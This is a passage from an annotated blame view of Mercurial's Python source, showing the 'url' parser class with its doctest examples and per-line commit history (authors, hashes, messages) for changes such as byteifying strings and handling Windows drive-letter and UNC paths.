43076
diff
changeset
|
2932 |
_(b"no port number associated with service '%s'") % port |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2933 |
) |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2934 |
|
12087
a88a4720c2f0
parsebool: create new function and use it for config parsing
Augie Fackler <durin42@gmail.com>
parents:
12086
diff
changeset
|
2935 |
|
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2936 |
class url(object): |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2937 |
r"""Reliable URL parser. |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2938 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2939 |
This parses URLs and provides attributes for the following |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2940 |
components: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2941 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2942 |
<scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2943 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2944 |
Missing components are set to None. The only exception is |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2945 |
fragment, which is set to '' if present but empty. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2946 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2947 |
If parsefragment is False, fragment is included in query. If |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2948 |
parsequery is False, query is included in path. If both are |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2949 |
False, both fragment and query are included in path. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2950 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2951 |
See http://www.ietf.org/rfc/rfc2396.txt for more information. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2952 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2953 |
Note that for backward compatibility reasons, bundle URLs do not |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2954 |
take host names. That means 'bundle://../' has a path of '../'. |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2955 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2956 |
Examples: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2957 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2958 |
>>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2959 |
<url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2960 |
>>> url(b'ssh://[::1]:2200//home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2961 |
<url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2962 |
>>> url(b'file:///home/joe/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2963 |
<url scheme: 'file', path: '/home/joe/repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2964 |
>>> url(b'file:///c:/temp/foo/') |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
2965 |
<url scheme: 'file', path: 'c:/temp/foo/'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2966 |
>>> url(b'bundle:foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2967 |
<url scheme: 'bundle', path: 'foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2968 |
>>> url(b'bundle://../foo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2969 |
<url scheme: 'bundle', path: '../foo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2970 |
>>> url(br'c:\foo\bar') |
14146
1618c4f6f15b
tests: use raw string for url tests of '\' handling
Mads Kiilerich <mads@kiilerich.com>
parents:
14100
diff
changeset
|
2971 |
<url path: 'c:\\foo\\bar'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2972 |
>>> url(br'\\blah\blah\blah') |
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
2973 |
<url path: '\\\\blah\\blah\\blah'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2974 |
>>> url(br'\\blah\blah\blah#baz') |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
2975 |
<url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2976 |
>>> url(br'file:///C:\users\me') |
20106
c33d9217e99d
util: url keeps backslash in paths
Simon Heimberg <simohe@besonet.ch>
parents:
20000
diff
changeset
|
2977 |
<url scheme: 'file', path: 'C:\\users\\me'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2978 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2979 |
Authentication credentials: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2980 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2981 |
>>> url(b'ssh://joe:xyz@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2982 |
<url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2983 |
>>> url(b'ssh://joe@x/repo') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2984 |
<url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2985 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2986 |
Query strings and fragments: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2987 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2988 |
>>> url(b'http://host/a?b#c') |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2989 |
<url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2990 |
>>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
2991 |
<url scheme: 'http', host: 'host', path: 'a?b#c'> |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2992 |
|
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2993 |
Empty path: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2994 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2995 |
>>> url(b'') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2996 |
<url path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2997 |
>>> url(b'#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
2998 |
<url path: '', fragment: 'a'> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2999 |
>>> url(b'http://host/') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3000 |
<url scheme: 'http', host: 'host', path: ''> |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3001 |
>>> url(b'http://host/#a') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3002 |
<url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3003 |
|
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3004 |
Only scheme: |
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3005 |
|
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
3006 |
>>> url(b'http:') |
30036
3f4e1c033f40
url: fix crash by empty path with #fragments
Yuya Nishihara <yuya@tcha.org>
parents:
30030
diff
changeset
|
3007 |
<url scheme: 'http'> |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3008 |
""" |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3009 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3010 |
_safechars = b"!~*'()+" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3011 |
_safepchars = b"/!~*'()+:\\" |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3012 |
_matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3013 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3014 |
def __init__(self, path, parsequery=True, parsefragment=True): |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3015 |
# We slowly chomp away at path until we have only the path left |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3016 |
self.scheme = self.user = self.passwd = self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3017 |
self.port = self.path = self.query = self.fragment = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3018 |
self._localpath = True |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3019 |
self._hostport = b'' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3020 |
self._origpath = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3021 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3022 |
if parsefragment and b'#' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3023 |
path, self.fragment = path.split(b'#', 1) |
15074
64fbd0de9773
url: parse fragments first (issue2997)
Matt Mackall <mpm@selenic.com>
parents:
15066
diff
changeset
|
3024 |
|
14699
388af80c058b
url: catch UNC paths as yet another Windows special case (issue2808)
Matt Mackall <mpm@selenic.com>
parents:
14640
diff
changeset
|
3025 |
# special case for Windows drive letters and UNC paths |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3026 |
if hasdriveletter(path) or path.startswith(b'\\\\'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3027 |
self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3028 |
return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3029 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3030 |
# For compatibility reasons, we can't handle bundle paths as |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3031 |
# normal URLS |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3032 |
if path.startswith(b'bundle:'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3033 |
self.scheme = b'bundle' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3034 |
path = path[7:] |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3035 |
if path.startswith(b'//'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3036 |
path = path[2:] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3037 |
self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3038 |
return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3039 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3040 |
if self._matchscheme(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3041 |
parts = path.split(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3042 |
if parts[0]: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3043 |
self.scheme, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3044 |
self._localpath = False |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3045 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3046 |
if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3047 |
path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3048 |
if self._localpath: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3049 |
self.path = b'' |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3050 |
return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3051 |
else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3052 |
if self._localpath: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3053 |
self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3054 |
return |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3055 |
|
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3056 |
if parsequery and b'?' in path: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3057 |
path, self.query = path.split(b'?', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3058 |
if not path: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3059 |
path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3060 |
if not self.query: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3061 |
self.query = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3062 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3063 |
# // is required to specify a host/authority |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3064 |
if path and path.startswith(b'//'): |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3065 |
parts = path[2:].split(b'/', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3066 |
if len(parts) > 1: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3067 |
self.host, path = parts |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3068 |
else: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3069 |
self.host = parts[0] |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3070 |
path = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3071 |
if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3072 |
self.host = None |
15018
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3073 |
# path of file:///d is /d |
e89f62dcd723
url: really handle urls of the form file:///c:/foo/bar/ correctly
Mads Kiilerich <mads@kiilerich.com>
parents:
14988
diff
changeset
|
3074 |
# path of file:///d:/ is d:/, not /d:/ |
14915
28edd65000d9
url: handle urls of the form file:///c:/foo/bar/ correctly
Matt Mackall <mpm@selenic.com>
parents:
14825
diff
changeset
|
3075 |
if path and not hasdriveletter(path): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3076 |
path = b'/' + path |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3077 |
|
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3078 |
if self.host and b'@' in self.host: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3079 |
self.user, self.host = self.host.rsplit(b'@', 1) |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3080 |
if b':' in self.user: |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3081 |
self.user, self.passwd = self.user.split(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3082 |
if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3083 |
self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3084 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3085 |
# Don't split on colons in IPv6 addresses without ports |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3086 |
if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3087 |
self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3088 |
and b':' in self.host |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3089 |
and not ( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3090 |
self.host.startswith(b'[') and self.host.endswith(b']') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3091 |
) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3092 |
): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3093 |
self._hostport = self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3094 |
self.host, self.port = self.host.rsplit(b':', 1) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3095 |
if not self.host: |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3096 |
self.host = None |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3097 |
|
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3098 |
if ( |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3099 |
self.host |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3100 |
and self.scheme == b'file' |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3101 |
and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
3102 |
): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3103 |
raise error.Abort( |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3104 |
_(b'file:// URLs can only refer to localhost') |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3105 |
) |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3106 |
|
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3107 |
self.path = path |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3108 |
|
14988
e6730f9e13bc
url: store and assume the query part of an url is in escaped form (issue2921)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
14915
diff
changeset
|
3109 |
# leave the query string escaped |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
3110 |
for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
14076
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3111 |
v = getattr(self, a) |
924c82157d46
url: move URL parsing functions into util to improve startup time
Brodie Rao <brodie@bitheap.org>
parents:
14064
diff
changeset
|
3112 |
if v is not None: |
31567
4ebecf331d7d
util: use urlreq.unquote
Gregory Szorc <gregory.szorc@gmail.com>
parents:
31541
diff
changeset
|
3113 |
setattr(self, a, urlreq.unquote(v)) |
14076
924c82157d46
